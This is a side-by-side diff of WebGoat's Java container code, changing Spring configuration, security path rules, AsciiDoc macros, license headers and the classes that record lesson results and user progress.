registry.addViewController("/login").setViewName("login"); registry.addViewController("/login").setViewName("login");
registry.addViewController("/lesson_content").setViewName("lesson_content"); registry.addViewController("/lesson_content").setViewName("lesson_content");
registry.addViewController("/start.mvc").setViewName("main_new"); registry.addViewController("/start.mvc").setViewName("main_new");
registry.addViewController("/scoreboard").setViewName("scoreboard");
} }
@Bean @Bean

View File

@ -1,7 +1,3 @@
/*
* SPDX-FileCopyrightText: Copyright © 2023 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletRequest;

View File

@ -1,31 +1,62 @@
/* /**
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors * ************************************************************************************************
* SPDX-License-Identifier: GPL-2.0-or-later *
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @version $Id: $Id
* @since October 28, 2003
*/ */
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
import java.io.File; import java.io.File;
import org.owasp.webgoat.container.session.LessonSession; import org.owasp.webgoat.container.session.UserSessionData;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.UserRepository;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration; import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.boot.autoconfigure.domain.EntityScan;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.ComponentScan; import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.PropertySource; import org.springframework.context.annotation.PropertySource;
import org.springframework.context.annotation.Scope; import org.springframework.context.annotation.Scope;
import org.springframework.context.annotation.ScopedProxyMode; import org.springframework.context.annotation.ScopedProxyMode;
import org.springframework.data.jpa.repository.config.EnableJpaRepositories; import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.oauth2.core.user.DefaultOAuth2User;
import org.springframework.web.client.RestTemplate; import org.springframework.web.client.RestTemplate;
@Configuration @Configuration
@ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"}) @ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
@PropertySource("classpath:application-webgoat.properties") @PropertySource("classpath:application-webgoat.properties")
@EnableAutoConfiguration @EnableAutoConfiguration
@EnableJpaRepositories(basePackages = {"org.owasp.webgoat.container"})
@EntityScan(basePackages = "org.owasp.webgoat.container")
public class WebGoat { public class WebGoat {
@Autowired private UserRepository userRepository;
@Bean(name = "pluginTargetDirectory") @Bean(name = "pluginTargetDirectory")
public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) { public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
return new File(webgoatHome); return new File(webgoatHome);
@ -33,8 +64,21 @@ public class WebGoat {
@Bean @Bean
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS) @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public LessonSession userSessionData() { public WebSession webSession() {
return new LessonSession(); WebGoatUser webGoatUser = null;
Object principal = SecurityContextHolder.getContext().getAuthentication().getPrincipal();
if (principal instanceof WebGoatUser) {
webGoatUser = (WebGoatUser) principal;
} else if (principal instanceof DefaultOAuth2User) {
webGoatUser = userRepository.findByUsername(((DefaultOAuth2User) principal).getName());
}
return new WebSession(webGoatUser);
}
@Bean
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public UserSessionData userSessionData() {
return new UserSessionData("test", "data");
} }
@Bean @Bean

View File

@ -1,6 +1,32 @@
/* /**
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors * ************************************************************************************************
* SPDX-License-Identifier: GPL-2.0-or-later * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* <p>
*
* @author WebGoat
* @version $Id: $Id
* @since December 12, 2015
*/ */
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
@ -9,7 +35,6 @@ import org.owasp.webgoat.container.users.UserService;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.security.authentication.AuthenticationManager; import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration; import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration;
@ -32,6 +57,7 @@ public class WebSecurityConfig {
return http.authorizeHttpRequests( return http.authorizeHttpRequests(
auth -> auth ->
auth.requestMatchers( auth.requestMatchers(
"/",
"/favicon.ico", "/favicon.ico",
"/css/**", "/css/**",
"/images/**", "/images/**",
@ -39,8 +65,7 @@ public class WebSecurityConfig {
"fonts/**", "fonts/**",
"/plugins/**", "/plugins/**",
"/registration", "/registration",
"/register.mvc", "/register.mvc")
"/actuator/**")
.permitAll() .permitAll()
.anyRequest() .anyRequest()
.authenticated()) .authenticated())
@ -72,7 +97,6 @@ public class WebSecurityConfig {
} }
@Bean @Bean
@Primary
public UserDetailsService userDetailsServiceBean() { public UserDetailsService userDetailsServiceBean() {
return userDetailsService; return userDetailsService;
} }

View File

@ -1,7 +1,3 @@
/*
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;

View File

@ -1,7 +1,3 @@
/*
* SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc; package org.owasp.webgoat.container.asciidoc;
import org.springframework.beans.BeansException; import org.springframework.beans.BeansException;
@ -20,7 +16,7 @@ public class EnvironmentExposure implements ApplicationContextAware {
private static ApplicationContext context; private static ApplicationContext context;
public static Environment getEnv() { public static Environment getEnv() {
return null != context ? context.getEnvironment() : null; return (null != context) ? context.getEnvironment() : null;
} }
@Override @Override

View File

@ -1,12 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc; package org.owasp.webgoat.container.asciidoc;
import java.util.Map; import java.util.Map;
import org.asciidoctor.ast.PhraseNode; import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor; import org.asciidoctor.extension.InlineMacroProcessor;
public class OperatingSystemMacro extends InlineMacroProcessor { public class OperatingSystemMacro extends InlineMacroProcessor {
@ -20,8 +15,7 @@ public class OperatingSystemMacro extends InlineMacroProcessor {
} }
@Override @Override
public PhraseNode process( public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
StructuralNode contentNode, String target, Map<String, Object> attributes) {
var osName = System.getProperty("os.name"); var osName = System.getProperty("os.name");
// see // see

View File

@ -1,12 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc; package org.owasp.webgoat.container.asciidoc;
import java.util.Map; import java.util.Map;
import org.asciidoctor.ast.PhraseNode; import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor; import org.asciidoctor.extension.InlineMacroProcessor;
import org.owasp.webgoat.container.users.WebGoatUser; import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.security.core.context.SecurityContextHolder;
@ -22,8 +17,7 @@ public class UsernameMacro extends InlineMacroProcessor {
} }
@Override @Override
public PhraseNode process( public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
StructuralNode contentNode, String target, Map<String, Object> attributes) {
var auth = SecurityContextHolder.getContext().getAuthentication(); var auth = SecurityContextHolder.getContext().getAuthentication();
var username = "unknown"; var username = "unknown";
if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) { if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {

View File

@ -1,12 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc; package org.owasp.webgoat.container.asciidoc;
import java.util.Map; import java.util.Map;
import org.asciidoctor.ast.PhraseNode; import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor; import org.asciidoctor.extension.InlineMacroProcessor;
public class WebGoatTmpDirMacro extends InlineMacroProcessor { public class WebGoatTmpDirMacro extends InlineMacroProcessor {
@ -20,12 +15,11 @@ public class WebGoatTmpDirMacro extends InlineMacroProcessor {
} }
@Override @Override
public PhraseNode process( public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
StructuralNode structuralNode, String target, Map<String, Object> attributes) {
var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory"); var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
// see // see
// https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
return createPhraseNode(structuralNode, "quoted", env); return createPhraseNode(contentNode, "quoted", env);
} }
} }

View File

@ -1,12 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc; package org.owasp.webgoat.container.asciidoc;
import java.util.Map; import java.util.Map;
import org.asciidoctor.ast.PhraseNode; import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor; import org.asciidoctor.extension.InlineMacroProcessor;
public class WebGoatVersionMacro extends InlineMacroProcessor { public class WebGoatVersionMacro extends InlineMacroProcessor {
@ -20,8 +15,7 @@ public class WebGoatVersionMacro extends InlineMacroProcessor {
} }
@Override @Override
public PhraseNode process( public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
StructuralNode contentNode, String target, Map<String, Object> attributes) {
var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version"); var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version");
// see // see

View File

@ -1,13 +1,8 @@
/*
* SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc; package org.owasp.webgoat.container.asciidoc;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.asciidoctor.ast.PhraseNode; import org.asciidoctor.ast.ContentNode;
import org.asciidoctor.ast.StructuralNode;
import org.asciidoctor.extension.InlineMacroProcessor; import org.asciidoctor.extension.InlineMacroProcessor;
/** /**
@ -26,8 +21,7 @@ public class WebWolfMacro extends InlineMacroProcessor {
} }
@Override @Override
public PhraseNode process( public Object process(ContentNode contentNode, String linkText, Map<String, Object> attributes) {
StructuralNode contentNode, String linkText, Map<String, Object> attributes) {
var env = EnvironmentExposure.getEnv(); var env = EnvironmentExposure.getEnv();
var hostname = env.getProperty("webwolf.url"); var hostname = env.getProperty("webwolf.url");
var target = (String) attributes.getOrDefault("target", "home"); var target = (String) attributes.getOrDefault("target", "home");
@ -42,7 +36,7 @@ public class WebWolfMacro extends InlineMacroProcessor {
options.put("type", ":link"); options.put("type", ":link");
options.put("target", href); options.put("target", href);
attributes.put("window", "_blank"); attributes.put("window", "_blank");
return createPhraseNode(contentNode, "anchor", linkText, attributes, options); return createPhraseNode(contentNode, "anchor", linkText, attributes, options).convert();
} }
private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) { private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {

View File

@ -1,7 +1,3 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.asciidoc; package org.owasp.webgoat.container.asciidoc;
import java.util.Map; import java.util.Map;

View File

@ -1,7 +1,92 @@
/* /*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* SPDX-License-Identifier: GPL-2.0-or-later * please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*/ */
package org.owasp.webgoat.container.assignments; package org.owasp.webgoat.container.assignments;
public interface AssignmentEndpoint {} import lombok.Getter;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.lessons.Initializeable;
import org.owasp.webgoat.container.session.UserSessionData;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.beans.factory.annotation.Autowired;
public abstract class AssignmentEndpoint implements Initializeable {
@Autowired private WebSession webSession;
@Autowired private UserSessionData userSessionData;
@Getter @Autowired private PluginMessages messages;
protected WebSession getWebSession() {
return webSession;
}
protected UserSessionData getUserSessionData() {
return userSessionData;
}
/**
* Convenience method for create a successful result:
*
* <p>- Assignment is set to solved - Feedback message is set to 'assignment.solved'
*
* <p>Of course you can overwrite these values in a specific lesson
*
* @return a builder for creating a result from a lesson
* @param assignment
*/
protected AttackResult.AttackResultBuilder success(AssignmentEndpoint assignment) {
return AttackResult.builder(messages)
.lessonCompleted(true)
.attemptWasMade()
.feedback("assignment.solved")
.assignment(assignment);
}
/**
* Convenience method for create a failed result:
*
* <p>- Assignment is set to not solved - Feedback message is set to 'assignment.not.solved'
*
* <p>Of course you can overwrite these values in a specific lesson
*
* @return a builder for creating a result from a lesson
* @param assignment
*/
protected AttackResult.AttackResultBuilder failed(AssignmentEndpoint assignment) {
return AttackResult.builder(messages)
.lessonCompleted(false)
.attemptWasMade()
.feedback("assignment.not.solved")
.assignment(assignment);
}
protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {
return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment);
}
@Override
public void initialize(WebGoatUser user) {}
}

View File

@ -1,7 +1,3 @@
/*
* SPDX-FileCopyrightText: Copyright © 2017 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.assignments; package org.owasp.webgoat.container.assignments;
import java.lang.annotation.ElementType; import java.lang.annotation.ElementType;

View File

@ -0,0 +1,19 @@
package org.owasp.webgoat.container.assignments;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.web.bind.annotation.RequestMethod;
/** Created by nbaars on 1/14/17. */
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface AssignmentPath {
String[] path() default {};
RequestMethod[] method() default {};
String value() default "";
}

View File

@ -1,7 +1,28 @@
/* /*
* SPDX-FileCopyrightText: Copyright © 2014 WebGoat authors * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* SPDX-License-Identifier: GPL-2.0-or-later * please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*/ */
package org.owasp.webgoat.container.assignments; package org.owasp.webgoat.container.assignments;
import static org.apache.commons.text.StringEscapeUtils.escapeJson; import static org.apache.commons.text.StringEscapeUtils.escapeJson;
@ -9,18 +30,82 @@ import static org.apache.commons.text.StringEscapeUtils.escapeJson;
import lombok.Getter; import lombok.Getter;
import org.owasp.webgoat.container.i18n.PluginMessages; import org.owasp.webgoat.container.i18n.PluginMessages;
@Getter
public class AttackResult { public class AttackResult {
private final boolean lessonCompleted; public static class AttackResultBuilder {
private final String feedback;
private Object[] feedbackArgs;
private final String output;
private Object[] outputArgs;
private final String assignment;
private final boolean attemptWasMade;
private AttackResult( private boolean lessonCompleted;
private PluginMessages messages;
private Object[] feedbackArgs;
private String feedbackResourceBundleKey;
private String output;
private Object[] outputArgs;
private AssignmentEndpoint assignment;
private boolean attemptWasMade = false;
public AttackResultBuilder(PluginMessages messages) {
this.messages = messages;
}
public AttackResultBuilder lessonCompleted(boolean lessonCompleted) {
this.lessonCompleted = lessonCompleted;
this.feedbackResourceBundleKey = "lesson.completed";
return this;
}
public AttackResultBuilder lessonCompleted(boolean lessonCompleted, String resourceBundleKey) {
this.lessonCompleted = lessonCompleted;
this.feedbackResourceBundleKey = resourceBundleKey;
return this;
}
public AttackResultBuilder feedbackArgs(Object... args) {
this.feedbackArgs = args;
return this;
}
public AttackResultBuilder feedback(String resourceBundleKey) {
this.feedbackResourceBundleKey = resourceBundleKey;
return this;
}
public AttackResultBuilder output(String output) {
this.output = output;
return this;
}
public AttackResultBuilder outputArgs(Object... args) {
this.outputArgs = args;
return this;
}
public AttackResultBuilder attemptWasMade() {
this.attemptWasMade = true;
return this;
}
public AttackResult build() {
return new AttackResult(
lessonCompleted,
messages.getMessage(feedbackResourceBundleKey, feedbackArgs),
messages.getMessage(output, output, outputArgs),
assignment.getClass().getSimpleName(),
attemptWasMade);
}
public AttackResultBuilder assignment(AssignmentEndpoint assignment) {
this.assignment = assignment;
return this;
}
}
@Getter private boolean lessonCompleted;
@Getter private String feedback;
@Getter private String output;
@Getter private final String assignment;
@Getter private boolean attemptWasMade;
public AttackResult(
boolean lessonCompleted, boolean lessonCompleted,
String feedback, String feedback,
String output, String output,
@ -33,33 +118,11 @@ public class AttackResult {
this.attemptWasMade = attemptWasMade; this.attemptWasMade = attemptWasMade;
} }
public AttackResult( public static AttackResultBuilder builder(PluginMessages messages) {
boolean lessonCompleted, return new AttackResultBuilder(messages);
String feedback,
Object[] feedbackArgs,
String output,
Object[] outputArgs,
String assignment,
boolean attemptWasMade) {
this.lessonCompleted = lessonCompleted;
this.feedback = feedback;
this.feedbackArgs = feedbackArgs;
this.output = output;
this.outputArgs = outputArgs;
this.assignment = assignment;
this.attemptWasMade = attemptWasMade;
} }
public boolean assignmentSolved() { public boolean assignmentSolved() {
return lessonCompleted; return lessonCompleted;
} }
public AttackResult apply(PluginMessages pluginMessages) {
return new AttackResult(
lessonCompleted,
pluginMessages.getMessage(feedback, feedback, feedbackArgs),
pluginMessages.getMessage(output, output, outputArgs),
assignment,
attemptWasMade);
}
} }

View File

@ -1,102 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.assignments;
public class AttackResultBuilder {
private boolean assignmentCompleted;
private Object[] feedbackArgs;
private String feedbackResourceBundleKey;
private String output;
private Object[] outputArgs;
private AssignmentEndpoint assignment;
private boolean attemptWasMade = false;
public AttackResultBuilder assignmentCompleted(boolean lessonCompleted) {
this.assignmentCompleted = lessonCompleted;
return this;
}
public AttackResultBuilder feedbackArgs(Object... args) {
this.feedbackArgs = args;
return this;
}
public AttackResultBuilder feedback(String resourceBundleKey) {
this.feedbackResourceBundleKey = resourceBundleKey;
return this;
}
public AttackResultBuilder output(String output) {
this.output = output;
return this;
}
public AttackResultBuilder outputArgs(Object... args) {
this.outputArgs = args;
return this;
}
public AttackResultBuilder attemptWasMade() {
this.attemptWasMade = true;
return this;
}
public AttackResult build() {
return new AttackResult(
assignmentCompleted,
feedbackResourceBundleKey,
feedbackArgs,
output,
outputArgs,
assignment.getClass().getSimpleName(),
attemptWasMade);
}
public AttackResultBuilder assignment(AssignmentEndpoint assignment) {
this.assignment = assignment;
return this;
}
/**
* Convenience method for create a successful result:
*
* <p>- Assignment is set to solved - Feedback message is set to 'assignment.solved'
*
* <p>Of course, you can overwrite these values in a specific lesson
*
* @param assignment the assignment that was solved
* @return a builder for creating a result from a lesson
*/
public static AttackResultBuilder success(AssignmentEndpoint assignment) {
return new AttackResultBuilder()
.assignmentCompleted(true)
.attemptWasMade()
.feedback("assignment.solved")
.assignment(assignment);
}
/**
* Convenience method for create a failed result:
*
* <p>- Assignment is set to not solved - Feedback message is set to 'assignment.not.solved'
*
* <p>Of course, you can overwrite these values in a specific lesson
*
* @param assignment the assignment that was not solved
* @return a builder for creating a result from a lesson
*/
public static AttackResultBuilder failed(AssignmentEndpoint assignment) {
return new AttackResultBuilder()
.assignmentCompleted(false)
.attemptWasMade()
.feedback("assignment.not.solved")
.assignment(assignment);
}
public static AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {
return new AttackResultBuilder().assignmentCompleted(false).assignment(assignment);
}
}

View File

@ -1,45 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.assignments;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.springframework.core.MethodParameter;
import org.springframework.http.MediaType;
import org.springframework.http.converter.HttpMessageConverter;
import org.springframework.http.server.ServerHttpRequest;
import org.springframework.http.server.ServerHttpResponse;
import org.springframework.web.bind.annotation.RestControllerAdvice;
import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice;
/** This class intercepts the response body and applies the plugin messages to the attack result. */
@RestControllerAdvice
public class AttackResultMessageResponseBodyAdvice implements ResponseBodyAdvice<Object> {
private final PluginMessages pluginMessages;
public AttackResultMessageResponseBodyAdvice(PluginMessages pluginMessages) {
this.pluginMessages = pluginMessages;
}
@Override
public boolean supports(
MethodParameter returnType, Class<? extends HttpMessageConverter<?>> converterType) {
return true;
}
@Override
public Object beforeBodyWrite(
Object body,
MethodParameter returnType,
MediaType selectedContentType,
Class<? extends HttpMessageConverter<?>> selectedConverterType,
ServerHttpRequest request,
ServerHttpResponse response) {
if (body instanceof AttackResult a) {
return a.apply(pluginMessages);
}
return body;
}
}

View File

@ -1,33 +1,48 @@
/* /*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
* SPDX-License-Identifier: GPL-2.0-or-later *
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/ */
package org.owasp.webgoat.container.assignments; package org.owasp.webgoat.container.assignments;
import org.owasp.webgoat.container.lessons.Lesson; import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.session.Course; import org.owasp.webgoat.container.users.UserTracker;
import org.owasp.webgoat.container.users.UserProgress; import org.owasp.webgoat.container.users.UserTrackerRepository;
import org.owasp.webgoat.container.users.UserProgressRepository;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.core.MethodParameter; import org.springframework.core.MethodParameter;
import org.springframework.http.MediaType; import org.springframework.http.MediaType;
import org.springframework.http.converter.HttpMessageConverter; import org.springframework.http.converter.HttpMessageConverter;
import org.springframework.http.server.ServerHttpRequest; import org.springframework.http.server.ServerHttpRequest;
import org.springframework.http.server.ServerHttpResponse; import org.springframework.http.server.ServerHttpResponse;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.util.Assert;
import org.springframework.web.bind.annotation.RestControllerAdvice; import org.springframework.web.bind.annotation.RestControllerAdvice;
import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice; import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice;
@RestControllerAdvice @RestControllerAdvice
public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> { public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {
private final Course course; private UserTrackerRepository userTrackerRepository;
private final UserProgressRepository userProgressRepository; private WebSession webSession;
public LessonTrackerInterceptor(Course course, UserProgressRepository userProgressRepository) { public LessonTrackerInterceptor(
this.course = course; UserTrackerRepository userTrackerRepository, WebSession webSession) {
this.userProgressRepository = userProgressRepository; this.userTrackerRepository = userTrackerRepository;
this.webSession = webSession;
} }
@Override @Override
@ -50,30 +65,18 @@ public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {
return o; return o;
} }
private void trackProgress(AttackResult attackResult) { protected AttackResult trackProgress(AttackResult attackResult) {
var user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
Assert.notNull(user, "User not found in SecurityContext"); if (userTracker == null) {
var username = realUsername(user); userTracker = new UserTracker(webSession.getUserName());
var userProgress = userProgressRepository.findByUser(username);
if (userProgress == null) {
userProgress = new UserProgress(username);
} }
Lesson lesson = course.getLessonByAssignment(attackResult.getAssignment());
Assert.notNull(lesson, "Lesson not found for assignment " + attackResult.getAssignment());
if (attackResult.assignmentSolved()) { if (attackResult.assignmentSolved()) {
userProgress.assignmentSolved(lesson, attackResult.getAssignment()); userTracker.assignmentSolved(webSession.getCurrentLesson(), attackResult.getAssignment());
} else { } else {
userProgress.assignmentFailed(lesson); userTracker.assignmentFailed(webSession.getCurrentLesson());
} }
userProgressRepository.save(userProgress); userTrackerRepository.save(userTracker);
}
private String realUsername(WebGoatUser user) { return attackResult;
// maybe we shouldn't hard code this with just csrf- prefix for now it works
return user.getUsername().startsWith("csrf-")
? user.getUsername().substring("csrf-".length())
: user.getUsername();
} }
} }

View File

@ -1,25 +1,74 @@
/* /**
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors * ************************************************************************************************
* SPDX-License-Identifier: GPL-2.0-or-later *
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
